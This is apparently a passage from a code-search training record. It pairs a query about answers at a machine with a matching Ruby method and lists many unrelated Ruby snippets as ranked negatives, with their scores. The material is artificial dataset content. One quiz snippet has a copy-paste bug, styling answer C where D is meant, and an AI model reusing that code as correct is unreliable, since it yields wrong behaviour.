"def save_answers(params)\n answers = []\n params.each do |question_id, answer|\n brief_question = StartupBriefQuestion.find_by(id: question_id)\n if brief_question.single? \n answers << StartupBriefSummary.new(question_id: brief_question.id,\n answer_id: answer,\n startup_id: self.startup_id)\n elsif brief_question.multi? && !brief_question.detail\n answer.each do |answer_id|\n answers << StartupBriefSummary.new(question_id: brief_question.id,\n answer_id: answer_id,\n startup_id: self.startup_id)\n end\n elsif brief_question.multi? && brief_question.detail\n answer[:answer_ids].try(:each) do |answer_id|\n answers << StartupBriefSummary.new(question_id: brief_question.id,\n answer_id: answer_id,\n detail_text: answer[:detail].first(TEXT_LENGTH),\n startup_id: self.startup_id)\n end\n else\n answers << StartupBriefSummary.new(question_id: brief_question.id,\n answer_text: answer.first(TEXT_LENGTH),\n startup_id: self.startup_id)\n end \n end\n answers.each { |a| a.run_callbacks(:save) { false } }\n StartupBriefSummary.import answers \n end",
"def answers(options={})\n self.class.parse_answers(request(singular(user_id) + \"/answers\", options))\n end",
"def answer_texts\n self.answers.map { |a| a.choice }\n end",
"def answer_texts\n self.answers.map { |a| a.choice }\n end",
"def answers\n request('answers')\n end",
"def to_a\n [self.pno, self.group_label] + Answer.to_a(self.id)\n end",
"def answerQuestion()\n return if $intQuestionOnScreen == 0\n case $strAnswer\n when \"A\"\n $lblAnswerA['style'] = \"Correct.TLabel\"\n when \"B\"\n $lblAnswerB['style'] = \"Correct.TLabel\"\n when \"C\"\n $lblAnswerC['style'] = \"Correct.TLabel\"\n when \"D\"\n $lblAnswerD['style'] = \"Correct.TLabel\"\n when \"AB\"\n $lblAnswerA['style'] = \"Correct.TLabel\"\n $lblAnswerB['style'] = \"Correct.TLabel\"\n when \"AC\"\n $lblAnswerA['style'] = \"Correct.TLabel\"\n $lblAnswerC['style'] = \"Correct.TLabel\"\n when \"AD\"\n $lblAnswerA['style'] = \"Correct.TLabel\"\n $lblAnswerD['style'] = \"Correct.TLabel\"\n when \"BC\"\n $lblAnswerB['style'] = \"Correct.TLabel\"\n $lblAnswerC['style'] = \"Correct.TLabel\"\n when \"BD\"\n $lblAnswerB['style'] = \"Correct.TLabel\"\n $lblAnswerD['style'] = \"Correct.TLabel\"\n when \"CD\"\n $lblAnswerC['style'] = \"Correct.TLabel\"\n $lblAnswerD['style'] = \"Correct.TLabel\"\n when \"ABC\"\n $lblAnswerA['style'] = \"Correct.TLabel\"\n $lblAnswerB['style'] = \"Correct.TLabel\"\n $lblAnswerC['style'] = \"Correct.TLabel\"\n when \"ABD\"\n $lblAnswerA['style'] = \"Correct.TLabel\"\n $lblAnswerB['style'] = \"Correct.TLabel\"\n $lblAnswerC['style'] = \"Correct.TLabel\"\n when \"ACD\"\n $lblAnswerA['style'] = \"Correct.TLabel\"\n $lblAnswerC['style'] = \"Correct.TLabel\"\n $lblAnswerD['style'] = \"Correct.TLabel\"\n when \"BCD\"\n $lblAnswerB['style'] = \"Correct.TLabel\"\n $lblAnswerC['style'] = \"Correct.TLabel\"\n $lblAnswerD['style'] = \"Correct.TLabel\"\n else\n $lblAnswerA['style'] =\"Correct.TLabel\"\n $lblAnswerB['style'] =\"Correct.TLabel\"\n $lblAnswerC['style'] =\"Correct.TLabel\"\n $lblAnswerD['style'] =\"Correct.TLabel\"\n end\nend",
"def legend(*labels)\n labels.each.with_index do |l, i|\n @dataxy[i][0] = l\n end\n end",
"def classificateResultByLabel(sampleMap, foundArr)\n labelArr = []\n sampleMap.each{|key,value|\n labelArr << value.label\n }\n labelArr = labelArr.uniq()\n expRecognitionResultMap = {}\n labelArr.each{|label|\n puts \"[classificateResultByLabel] label: %s\" % label\n expRecognitionResultMap[label]= classificateResult(label,sampleMap,foundArr);\n }\n expRecognitionResultMap\n end",
"def multi_plan(*requests)\n requests = requests.flatten.uniq {|req| req[:label]} # Discard any requests with duplicate labels\n responses = nil\n EM.run do\n multi = EM::MultiRequest.new\n requests.each_with_index do |request, i|\n url = plan_url(request)\n multi.add (request[:label] || \"req#{i}\".to_sym), EM::HttpRequest.new(url, connect_timeout: 3, inactivity_timeout: 3).get\n end\n\n responses = nil\n multi.callback do\n EM.stop\n responses = multi.responses\n end\n end\n\n return responses\n\n end",
"def get_labels_from_suite_and_case(suite_labels, case_labels)\n [suite_labels, case_labels].flatten.compact.uniq\n end",
"def set_instance_labels request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_set_instance_labels_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def use_for_labels?(*labels)\n return true if labels.empty? || options[:labels].nil? || options[:labels].include?(:any)\n !(options[:labels] & labels).empty?\n end",
"def value_labels=(values)\n return if values == :no_labels\n\n # TODO: figure out how to handle c_value_labels, if they turn up\n API.set_var_n_value_labels(handle, [name], values)\n end",
"def initialize(labels)\n @score = [0,0,0,0]\n @started = [false,false,false,false]\n @labels = [] \n \n @players = []\n @playing =[]\n @labels = labels\n @winner = nil\n \n end",
"def update!(**args)\n @add_label_ids = args[:add_label_ids] unless args[:add_label_ids].nil?\n @remove_label_ids = args[:remove_label_ids] unless args[:remove_label_ids].nil?\n end",
"def update!(**args)\n @add_label_ids = args[:add_label_ids] unless args[:add_label_ids].nil?\n @remove_label_ids = args[:remove_label_ids] unless args[:remove_label_ids].nil?\n end",
"def normalize_labels(label_order, results)\n label_order.uniq.map do |k|\n label = \"#{k.tr('.', '').tr(':', '').strip}:\"\n if label != k\n results[label] = results[k]\n results.delete(k)\n end\n label\n end\n end",
"def store( *answers )\n idx = @all_answers[ :lastid ] += 1\n @all_answers[ idx ] = Answer.new( *answers )\n serialize\n idx\n end",
"def process_scores\n applicable_subjects = []\n subjects.group_by(&:batch_subject_group).each_pair do |batch_group, batch_subjects|\n (batch_subjects << batch_group).compact.each do |sub|\n applicable_subjects << sub\n end\n end\n applicable_subjects.sort_by{|as| as.priority.to_i}.each do|sub|\n mark = student.converted_assessment_marks.detect{|cam| cam.markable_id == sub.id and \n cam.markable_type == sub.class.name and cam.assessment_group_batch_id == agb.id}\n next unless mark\n build_score(sub, mark)\n process_skills(sub,mark) if consider_skills_of_subjects(sub)\n process_attributes(sub, mark, agb.subject_attribute_assessments) if agb.subject_attribute_assessments.present? and sub.is_a?(Subject)\n end\n\n add_to_exam_totals_hash(@total_score)\n end",
"def handle_form_label(vals)\n @forms << vals.last\n @form = vals.last if matches_mdes_version(vals)\n end",
"def answers\n card = @generation.question_card.question_card\n @answers = @generation.variants.map do |v|\n tasks = Nokogiri::HTML(card).css('.task').map do |task|\n gen_task = v.generated_tasks.find_by(task_in_card: task[:id].to_i)\n task_text = generate_task_text( gen_task )\n t = gen_task.task\n\n generated_variables = gen_task.generated_variables.map { |var| [var.variable.name, var.value] }.to_h\n\n t.calculated_variables.each do |var|\n res = calculate(var.formula, generated_variables)\n generated_variables[var.name] = res\n end\n answer = paste_variables(t.answer, generated_variables)\n\n {\n name: task[:task_name],\n task: t,\n task_text: task_text,\n answer: answer\n }\n end\n {\n variant: v.number,\n tasks_in_card: tasks\n }\n end\n\n respond_to do |format|\n format.html { render layout: false }\n format.pdf do\n orientation = params[:orientation] ? 'Portrait' : 'Landscape'\n render pdf: \"answers\", # Excluding \".pdf\" extension.\n orientation: orientation\n end\n end\n end",
"def register_labels\n label.register if label?\n end",
"def set_label labels, key, value\n labels[key] = value if value.is_a? ::String\n end",
"def create_answers test_source=false, &block\n Card::Metric::AnswerCreator.new(self, test_source, &block).add_answers\nend",
"def linearAccuracy\n wrong = 0\n correct = 0\n tp = 0\n tn = 0\n fp = 0\n fn = 0\n\n @label = Array.new(@total_line) {0.00}\n @evaluate = Array.new(@total_line) {0.00}\n @bayes_part = Array.new(@total_line) {0.00}\n\n t_file = File.open(\"./true_label.txt\", \"r\").to_enum\n e_file = File.open(\"./p_zh.txt\", \"r\").to_enum\n b_file = File.open(\"./decision_label.txt\", \"r\").to_enum\n\n array_count = 0\n loop do\n #access next line in each file with .next\n line_t = t_file.next.to_f\n line_e = e_file.next.to_f\n line_b = b_file.next.to_f\n\n if line_e != 0.0\n if line_t == 1.0\n if line_e == 1.0\n tp += 1\n elsif line_e == -1.0\n fp += 1\n else\n puts \"what?\"\n end\n elsif line_t == -1.0\n if line_e == 1.0\n fn += 1\n elsif line_e == -1.0\n tn += 1\n else\n puts \"what??\"\n end\n else\n puts \"what???\"\n end \n\n @evaluate[array_count] = line_e\n @label[array_count] = line_t\n @bayes_part[array_count] = line_b\n array_count += 1\n end\n end\n\n # write best results in simple linear to file\n File.open('true_label_linear.txt', 'w') do |f1| \n # use \"\\n\" for two lines of text \n @label.each do |line|\n f1.puts line\n end\n end\n\n File.open('decision_label_linear.txt', 'w') do |f2| \n # use \"\\n\" for two lines of text \n @evaluate.each do |line|\n f2.puts line\n end\n end\n\n File.open('decision_label_bayes_part.txt', 'w') do |f3| \n # use \"\\n\" for two lines of text \n @bayes_part.each do |line|\n f3.puts line\n end\n end\n\n puts (\"#{@label.size} lines\")\n correct = tp + tn\n wrong = fp + fn\n @Accuracy = 0.0\n @Accuracy = correct.to_f * 100 / (correct + wrong)\n puts \"Simple Accuracy #{@Accuracy}%\"\n tpr = tp.to_f / (tp + fn)\n fpr = fp.to_f / (fp + tn)\n puts \"fp: #{fp} fn: #{fn} tp: #{tp} tn: #{tn}\"\n puts \"tpr #{tpr} fpr: #{fpr}\"\n\n print \"linear \"\n system('./calc_auc ./true_label_linear.txt ./decision_label_linear.txt')\n\n print \"bayes part accordingly \"\n system('./calc_auc ./true_label_linear.txt ./decision_label_bayes_part.txt')\nend"
] |
[
"0.57750314",
"0.56825393",
"0.5591151",
"0.5340398",
"0.5337138",
"0.53257984",
"0.52031136",
"0.51922965",
"0.51735103",
"0.5139653",
"0.51356506",
"0.5129648",
"0.5112378",
"0.51086885",
"0.51034516",
"0.5101648",
"0.5101648",
"0.5092396",
"0.49782306",
"0.4971085",
"0.49689624",
"0.49689624",
"0.49611187",
"0.49536613",
"0.49202237",
"0.49184608",
"0.4901673",
"0.4893068",
"0.4878535",
"0.48668566",
"0.48668185",
"0.48608914",
"0.4852886",
"0.48373616",
"0.48287508",
"0.4817642",
"0.48144314",
"0.48144314",
"0.4810315",
"0.4781318",
"0.47708237",
"0.47708237",
"0.47708237",
"0.47610068",
"0.47584203",
"0.47519642",
"0.47491083",
"0.47421616",
"0.4735073",
"0.4731397",
"0.47299853",
"0.47256583",
"0.47094193",
"0.47056696",
"0.46731633",
"0.4660163",
"0.4648694",
"0.4640324",
"0.46401453",
"0.46200773",
"0.4613984",
"0.4613984",
"0.4612007",
"0.46079743",
"0.4603613",
"0.46018445",
"0.45986098",
"0.45923296",
"0.4591686",
"0.4587053",
"0.45813933",
"0.45788196",
"0.45781493",
"0.4577564",
"0.45713678",
"0.4565183",
"0.4564067",
"0.4564067",
"0.45544714",
"0.45472762",
"0.45442978",
"0.45434228",
"0.45383346",
"0.4536865",
"0.4535941",
"0.45359176",
"0.45298088",
"0.4524837",
"0.45225516",
"0.45205957",
"0.45205957",
"0.45204058",
"0.45170695",
"0.4511111",
"0.45008415",
"0.44995183",
"0.4484711",
"0.4482573",
"0.44825152",
"0.44728488"
] |
0.6176948
|
0
|
Returns an array of the answers currently at this machine. By default,
|
def answers
@answers ||= Factory.load_answers_at_machine(@location, @load_scores)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def answers\n []\n end",
"def answers\n return @answers\n end",
"def answers\n @answers ||= generate_answers\n end",
"def answers\n [answer_1, answer_2]\n end",
"def answers\n @answers ||= {}\n end",
"def answers\n request('answers')\n end",
"def current_answers\n if assessment.randomization.nil?\n # Filtering by question ids is not needed for non-randomized assessment as it adds more query time.\n filtered_answers = answers\n else\n # Can't do filtering in AR because `answer` may not be persisted, and AR is dumb.\n question_ids = questions.pluck(:id)\n filtered_answers = answers.select { |answer| answer.question_id.in? question_ids }\n end\n filtered_answers.select(&:current_answer?).group_by(&:question_id).map { |pair| pair[1].first }\n end",
"def answer_texts\n self.answers.map { |a| a.choice }\n end",
"def answer_texts\n self.answers.map { |a| a.choice }\n end",
"def all_answered_questions\n self.all_answered_options.map{ |answer| answer.question }\n end",
"def get_answers\n @answers\n end",
"def all_answered_options\n self.user_answers.map{ |answer| answer.answer_option}\n end",
"def all_answers_for(question)\n answers.select {|a| a.question == question}\n end",
"def answer\n if answered?\n answers.last.answer\n else\n [{:answer => \"not answered\"}]\n end\n end",
"def answers\n pseudo_graph_pattern.all_answers.map(&:to_answer).uniq\n end",
"def answers=(value)\n @answers = value\n end",
"def answers\n [].tap do |a|\n a << teaching_maths_or_physics\n a << current_school\n a << initial_teacher_training_subject\n a << initial_teacher_training_subject_specialism if eligibility.initial_teacher_training_subject_specialism.present?\n a << has_uk_maths_or_physics_degree if eligibility.has_uk_maths_or_physics_degree.present?\n a << qts_award_year\n a << employed_as_supply_teacher\n a << has_entire_term_contract if eligibility.employed_as_supply_teacher?\n a << employed_directly if eligibility.employed_as_supply_teacher?\n a << disciplinary_action\n a << formal_performance_action\n end\n end",
"def similar_answers\n sa = []\n self.connections.each do |c|\n sa << c.target_answer_id\n end\n\n sa\n end",
"def answers\n extracted_answers = []\n\n unless self.qp_values.nil?\n self.qp_values.each do |answer| \n extracted_answers.push(ResponseAnswer.new(answer))\n end \n end\n\n return extracted_answers \n end",
"def answers\n return Answer.where(question_id: self.id) \n end",
"def all_correct_answers\n self.all_answered_options.select{|answer| answer.correct}\n end",
"def serve_choice_array\n if self.choices.nil?\n return [\"No answers available\"]\n else\n answers = Array.new\n raw = self.choices.sort_by{|a| a[:order]}\n raw.each do |c|\n formatted = c\n formatted[:answer] = make_html(c[:answer])\n answers.push( formatted )\n end\n if self.mcq_is_scrambled\n scrambled = Array.new\n until answers.empty?\n rand = Random.rand(answers.length)\n scrambled.push(answers.delete_at(rand))\n end\n answers = scrambled\n end\n return answers\n end\n end",
"def multiple_choice_answers\r\n answer.blank? and return []\r\n answer.strip.split(/\\s+/).map(&:to_i).compact\r\n end",
"def serve_choice_array(question_prompt)\n if question_prompt.specific.choices.nil?\n return [\"No answers available\"]\n else\n answers = Array.new\n raw = question_prompt.specific.choices.sort_by{ |a| a[:position] }\n raw.each do |c|\n answers.push(c)\n end\n if question_prompt.specific.is_scrambled\n scrambled = Array.new\n until answers.empty?\n rand = Random.rand(answers.length)\n scrambled.push(answers.delete_at(rand))\n end\n answers = scrambled\n end\n return answers\n end\n end",
"def answers_with_data\n return answers.map(&:data_result), total_votes\n end",
"def retrieve_answers\n manager = WWWebSessionManager.new(self)\n self.answers.each do |answer|\n manager.add_saved_answer answer\n end\n manager.add_situation self\n manager.situation\n end",
"def survey_answers\n survey_questions.map(&:survey_answers).flatten\n end",
"def answerable_questions\n answerable = []\n\n unanswered_questions.each do |question|\n answerable.push(question) if precondition_met(question)\n end\n\n return answerable\n end",
"def get_questions\n @questions = Question.active.chronological.to_a\n end",
"def render_answer\n @selected.map(&:value)\n end",
"def generate_answers\n masterless = @options[:masterless]\n return super if masterless\n\n dashboard = only_host_with_role(@hosts, 'dashboard')\n database = only_host_with_role(@hosts, 'database')\n master = only_host_with_role(@hosts, 'master')\n\n the_answers = super\n if dashboard != master\n # in 3.2, dashboard needs the master certname\n the_answers[dashboard.name][:q_puppetmaster_certname] = master.to_s\n end\n\n # do we want to check for updates?\n pe_check_for_updates = answer_for(@options, :q_pe_check_for_updates, 'n')\n the_answers[dashboard.name][:q_pe_check_for_updates] = pe_check_for_updates\n the_answers[master.name][:q_pe_check_for_updates] = pe_check_for_updates\n\n if @options[:type] == :upgrade && dashboard != database\n # In a split configuration, there is no way for the upgrader\n # to know how much disk space is available for the database\n # migration. We tell it to continue on, because we're\n # awesome.\n the_answers[dashboard.name][:q_upgrade_with_unknown_disk_space] = 'y'\n end\n @hosts.each do |h|\n h[:answers] = the_answers[h.name]\n end\n return the_answers\n end",
"def answers\n [].tap do |a|\n a << qts_award_year\n a << claim_school\n a << current_school\n a << subjects_taught\n a << leadership_position\n a << mostly_performed_leadership_duties if eligibility.had_leadership_position?\n a << student_loan_amount\n end\n end",
"def responses\n {\n 'multiple_choice_answers' => self.multiple_choice_answers,\n 'open_response_answers' => self.open_response_answers,\n 'image_question_answers' => self.image_question_answers,\n 'external_links' => self.interactive_run_states\n }\n end",
"def answer_keys\n [key]\n end",
"def questions\n return @questions\n end",
"def show_answer()\n system \"clear\"\n print_answers\nend",
"def index\n\t\t@answers = Answer.all\n\tend",
"def answers\n %w{Yes No Maybe Ask\\ again\\ later}\nend",
"def get_answers_for_question(question_id)\n answers = Array.new\n question = Question.find_by_id(question_id, :include => :answers)\n question.answers.each do |ans|\n answers << ans\n end\n return answers\n end",
"def correct_answers\n correct_answers = self.answers.where(truthiness: true) #for this current user instance (self), gets all the answers where the truthiness is true (set during question/answer creation)\n end",
"def answers=(ans)\n @answers = ans.map { |a| Answer.new(a) }\n end",
"def questions\n result = []\n 1.upto(@@max_questions) { |i| result << question(i) }\n result.select { |q| !q.empty? }\n end",
"def prompts\n return @prompts\n end",
"def printAnswersOnScreen()\n $lblAnswerA['text'] = $arrAnswerA[$intQuestionOnScreen - 1]\n $lblAnswerB['text'] = $arrAnswerB[$intQuestionOnScreen - 1]\n $lblAnswerC['text'] = $arrAnswerC[$intQuestionOnScreen - 1]\n $lblAnswerD['text'] = $arrAnswerD[$intQuestionOnScreen - 1]\nend",
"def answers\n return (distractor + [correct]).shuffle\n end",
"def answers\n return (distractor + [correct]).shuffle\n end",
"def language_interpreter\n # Do not show this block in CYA if the user didn't yet reach this step\n # (we know because the array will be `nil` in that case).\n return [] if arrangement.language_options.nil?\n\n AnswersGroup.new(\n :language_interpreter,\n [\n Answer.new(\n :language_interpreter,\n arrangement.language_options.include?(LanguageHelp::LANGUAGE_INTERPRETER.to_s).to_s\n ),\n FreeTextAnswer.new(:language_interpreter_details, arrangement.language_interpreter_details),\n Answer.new(\n :sign_language_interpreter,\n arrangement.language_options.include?(LanguageHelp::SIGN_LANGUAGE_INTERPRETER.to_s).to_s\n ),\n FreeTextAnswer.new(:sign_language_interpreter_details, arrangement.sign_language_interpreter_details),\n Answer.new(\n :welsh_language,\n arrangement.language_options.include?(LanguageHelp::WELSH_LANGUAGE.to_s).to_s\n ),\n FreeTextAnswer.new(:welsh_language_details, arrangement.welsh_language_details),\n ],\n change_path: edit_steps_attending_court_language_path\n )\n end",
"def index\n @answers = Replay.all\n end",
"def ways \n return [] \n end",
"def question_texts_presented\r\n question = question_form_element.label_elements\r\n presented_questions = question.select {|question| question.attribute(\"name\") == \"question\"}\r\n @questions = []\r\n presented_questions.each do |question_element|\r\n @questions.push question_element.text\r\n end\r\n return @questions\r\n end",
"def index\n @possible_answers = PossibleAnswer.all\n end",
"def get_quest\n\t\tget_data\n\n\t\t$finish = false\n\t\tunless $finish == true\n\t\t\t$randId = rand(0...(@data.length-1))\n\t\t\twhile $quiz_arr.include?(@data[$randId]['id'])\n\t\t\t\t$randId = rand(0...(@data.length-1))\n\t\t\tend\n\t\t\t$quiz_arr.push(@data[$randId]['id'])\n\t\t\t$i += 1\n\n\t\t\tif $i == 7\n\t\t\t\t$finish = true\n\t\t\tend\n\n\t\t\t@quest = @data[$randId]['question_name']\n\t\t\t@c_answer = @data[$randId]['c_answer']\n\t\t\t@alt1 = @data[$randId]['alt1']\n\t\t\t@alt2 = @data[$randId]['alt2']\n\t\t\t@alt3 = @data[$randId]['alt3']\n\t\t\t@imgurl = @data[$randId]['imgurl']\n\t\t\t@url = @data[$randId]['news_url']\n\t\t\t@cat = @data[$randId]['category_id']\n\t\t\t@hex = @data[$randId]['category_hex_code']\n\t\t\tget_descriptions(@url)\n\t\t\t@image = @desc_data['image']\n\n\t\t\t$answer_array = Array.new()\n\t \tend\n\tend",
"def plays\n return @array_of_words\n end",
"def answer_buttons\n Statistics.answer_buttons(assessments: data.assessments)\n end",
"def answers(options={})\n @answers = self.class.parse_answers(request(singular(question_id) + \"/answers\", options))\n end",
"def questions\n @root.questions\n end",
"def index\n @asked_to_answers = AskedToAnswer.all\n end",
"def find_answers_from_db\n answers_from_db = get_questions_from_db\n answers_from_db.each do |answer_from_db|\n @answers.add answer_from_db[:answer]\n break if @answers.length >= @answer_limit\n end\n @answers.to_a\n end",
"def answers(options={})\n self.class.parse_answers(request(singular(user_id) + \"/answers\", options))\n end",
"def print_answers\n @answers_arr.each do |all|\n puts \"here are all the answers!\"\n puts \"#{all}\"\nend #end for print answers\n\nend",
"def answers_explanation\n system(\"clear\")\n puts \"Time for the answers!\"\n puts \"\"\n puts \"Each question will be printed to the screen followed by your answer.\"\n puts \"To show the actual answer, just hit the enter/return key.\"\n puts \"You can then award yourself points if you got some or all of the question correct.\"\n puts \"Just type the number of points for the question (0 is fine if you got it wrong) and hit enter/return.\"\n puts \"We'll display your overall tally at the end.\"\n puts \"\"\n puts \"Please note: if you want to give yourself half a point, please use decimals instead of fractions\"\n puts \"E.g. enter 0.5 instead of 1/2\"\n puts \"\"\n puts \"Ready? (Hit enter/return when you are)\"\n gets\n end",
"def solution\n return self.answers.select {|x| x.correct}[0] if solved?\n nil\n end",
"def questions\n @response = self.class.get(\"/data/2.5/forecast\", @options)\n end",
"def retrieve( answer_id )\n answers = @all_answers[ answer_id ]\n ( answers && answers.possibilities ) || []\n end",
"def index\n @question_option_selections = @question_answer.question_option_selections\n end",
"def index\n @selected_answers = SelectedAnswer.all\n end",
"def guess_array\n @guess_array\n end",
"def responses\n @responses\n end",
"def completed_quests; $game_variables[17]; end",
"def answers(options={})\n parse_answers(request(singular(id) + \"answers\", options))\n end",
"def index\n @quizzes_answers = Quizzes::Answer.all\n end",
"def ask_q\n @current_ans = generate_q\n end",
"def index\n if @device\n @help_call_answers = @device.help_call_answers\n else\n @help_call_answers = HelpCallAnswer.all\n end\n end",
"def questions\n self.class.get(\"/2.2/questions\", @options)\n end",
"def get_choices()\n\n puts \"Player choice: #{@player_choice}\\n\\n\"\n puts \"Computer choice: #{@computer_choice}\\n\\n\"\n\n end",
"def list_all_answers\n # [black, white]\n answers = []\n (@code_length + 1).times do |b|\n (@code_length + 1).times do |w|\n answers << [b, w] if (b + w <= @code_length && !(w == 1 && b == (@code_length - 1)))\n end\n end\n answers\n end",
"def display_answer\r\n puts @answer.split(\"\").join(\" \")\r\n end",
"def response\n\t\tputs @answers[rand(@answers.length - 1)]\n\tend",
"def getActiveQuests\n active = []\n $PokemonGlobal.quests.active_quests.each do |s|\n active.push(s.id)\n end\n return active\nend",
"def index\n @simulation_answers = SimulationAnswer.all\n end",
"def index\n @given_answers = GivenAnswer.all\n end",
"def incorrect_answers\n results = []\n for quiz_response in self.quiz_responses\n if ! quiz_response.correct?\n results << quiz_response.position\n end\n end\n return results\n end",
"def me\n q = Question.approved\n\n @my_answers_count = Question.approved.where(id: current_account.answers.map(&:parent_id)).count\n @unanswered_questions_count = Question.approved.where(children_count: 0)\n .where.not(id: current_account.answers.map(&:parent_id))\n .count\n\n @published_answers_count = 0\n @pending_answers_count = 0\n @rejected_answers_count = 0\n\n if params[:answer].blank? || 'me'.eql?(params[:answer])\n my_answers = current_account.answers\n my_answers = my_answers.where(state: params[:state]) unless params[:state].blank?\n\n @published_answers_count = q.dup.where(id: current_account.answers.approved.map(&:parent_id)).count\n @pending_answers_count = q.dup.where(id: current_account.answers.pending.map(&:parent_id)).count\n @rejected_answers_count = q.dup.where(id: current_account.answers.rejected.map(&:parent_id)).count\n\n q = q.where(id: my_answers.map(&:parent_id))\n elsif 'unanswered'.eql?(params[:answer].to_s)\n q = q.where(children_count: 0)\n .where.not(id: current_account.answers.map(&:parent_id))\n end\n\n @q = q.search(params[:q])\n @q.sorts = 'id DESC' if @q.sorts.empty?\n\n page = params[:page].to_i\n page = 1 if page < 1\n\n @questions = @q.result.paginate(page: page, per_page: 10)\n end",
"def outputs\n outs = OpenStudio::Measure::OSOutputVector.new\n # this measure does not produce machine readable outputs with registerValue, return an empty list\n return outs\n end",
"def outputs\n outs = OpenStudio::Measure::OSOutputVector.new\n\n # this measure does not produce machine readable outputs with registerValue, return an empty list\n\n return outs\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def index\n @answers = Answer.all\n end",
"def choices\n @@choices\n end",
"def find_answers_from_query\n locations = get_places_from_db\n\n locations.each do |location|\n query_answers = @query.results location[:city]\n query_answers.each do |query_answer|\n @answers.add query_answer[:answer]\n break if @answers.length >= @answer_limit\n end\n break if @answers.length >= @answer_limit\n end\n @answers.to_a\n end",
"def array\n @@array\n end",
"def index\n @m_answers = MAnswer.all\n end",
"def questions\n extracted_questions = []\n\n unless self.qp_questions.nil?\n self.qp_questions.each do |question| \n extracted_questions.push(Question.new(question))\n end \n end\n\n return extracted_questions\t\t\t\n\t\tend",
"def index\n @question_answers = QuestionAnswer.all\n end",
"def index\n @answers = @question.answers\n respond_with( @answers )\n end",
"def unanswered_questionnaires\r\n (Questionnaire.by_language_published(I18n.locale).all - answered_questionnaires) rescue []\r\n end",
"def array\n\t\treturn @hand_contents\n\tend",
"def answer_count\n return @answers.length if @answers\n \n Factory.count_answers_at_machine(@location)\n end"
] |
[
"0.7963172",
"0.7488308",
"0.73175883",
"0.7266646",
"0.7166783",
"0.6777885",
"0.665121",
"0.664607",
"0.664607",
"0.6529227",
"0.6522831",
"0.65183765",
"0.6349958",
"0.6303838",
"0.62968224",
"0.62643814",
"0.6184018",
"0.615003",
"0.6149309",
"0.60974735",
"0.60942036",
"0.60738343",
"0.59985495",
"0.5991537",
"0.59809315",
"0.5944794",
"0.5760917",
"0.57556164",
"0.57219756",
"0.57039386",
"0.5695329",
"0.56856096",
"0.56807953",
"0.56509006",
"0.56264347",
"0.558628",
"0.5585755",
"0.5558952",
"0.5552861",
"0.5530342",
"0.5529549",
"0.5528668",
"0.5526962",
"0.54964435",
"0.54803437",
"0.54803437",
"0.54752606",
"0.5468523",
"0.5452786",
"0.54487985",
"0.5441869",
"0.54361534",
"0.53939605",
"0.537962",
"0.53751403",
"0.5374698",
"0.53710526",
"0.53229904",
"0.53193414",
"0.5311137",
"0.5305923",
"0.53021944",
"0.5301174",
"0.5300147",
"0.5282691",
"0.52710545",
"0.52690655",
"0.5257171",
"0.52312547",
"0.52252746",
"0.521935",
"0.52114826",
"0.52038854",
"0.5198753",
"0.5183187",
"0.5182833",
"0.5182183",
"0.5168364",
"0.5165203",
"0.5160147",
"0.5155611",
"0.51417524",
"0.51374054",
"0.5132432",
"0.5121818",
"0.51169765",
"0.51169765",
"0.51169765",
"0.51169765",
"0.51169765",
"0.5116509",
"0.5111684",
"0.5111451",
"0.50970286",
"0.5092423",
"0.5090202",
"0.50894696",
"0.5086727",
"0.507765",
"0.50733054"
] |
0.6915636
|
5
|
Returns a hash of the answers currently at this machine, keyed by language
|
def answers_keyed_by_language
hash = Hash.new {|h,k| h[k] = [] }
answers.each {|answer| hash[answer.language] << answer }
hash
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def answers\n @answers ||= {}\n end",
"def keyword_hash(lang=@lang)\n LANGUAGES[lang]\n end",
"def user_languages_hash\n result = Hash.new\n\n I18n.available_locales.each do |locale|\n result[t(\"languages.#{locale.to_s}\")] = locale.to_s\n end\n \n return result\n end",
"def languages\n return [:en] unless abstract_form_valid?\n l = questions.collect { |q| (q.qtext.is_a?(Hash) ? q.qtext.keys : nil) }.flatten.compact.uniq\n (l.nil? || l.empty?) ? [:en] : l\n end",
"def hash\n\t\t(language + type + klass + thing).hash\n\tend",
"def results\n # { answer choice text => count of responses }\n results_hash = Hash.new(0)\n\n answer_choices.each do |choice|\n # results_hash[choice.question.text] += choice.responses.length \n results_hash[choice.text] += choice.responses.length \n end\n \n results_hash\n end",
"def key_lang\n if @is_result\n @lang[0, @lang.length - RESULT_SUFFIX_LENGTH]\n else\n @lang\n end\n end",
"def language_dist\n @languages = Hash.new(0)\n @repos.each do |repo|\n @languages[repo.language] += 1\n end\n end",
"def hash\n @symbols.hash + 37*positive?.hash\n end",
"def answer_keys\n [key]\n end",
"def collect_hashes(data, basis)\n language_list = data[basis]\n language_list\nend",
"def abbreviations\n answers_hash.keys\n end",
"def loaded_languages\n @@cached_language_data.keys\n end",
"def results\n ans_hash = Hash.new(0)\n h = self\n .answer_choices\n .select(\"answers.body, COUNT(responses.id) AS response_count\")\n .joins('left outer join responses on responses.answer_id = answers.id')\n .group(\"answers.id\")\n h.map do |ans|\n ans_hash[ans.body] = ans.response_count\n end\n ans_hash\n end",
"def loaded_languages\n @@languages.keys\n end",
"def hash\n [oct, pc].hash\n end",
"def lookuptable\n res = Hash.new\n (0..255).each do |c|\n res[c] = unscramble(c)\n end\n res\n end",
"def answers\n pseudo_graph_pattern.all_answers.map(&:to_answer).uniq\n end",
"def index\n @assignment = Assignment.find(params[:assignment_id])\n @solutions = @assignment.solutions\n @hash_solutions = {}\n @solutions.pluck(:language).uniq.each {|language| @hash_solutions[language] = @solutions.where('language = ?', language)}\n end",
"def answers\n []\n end",
"def answers\n @answers ||= generate_answers\n end",
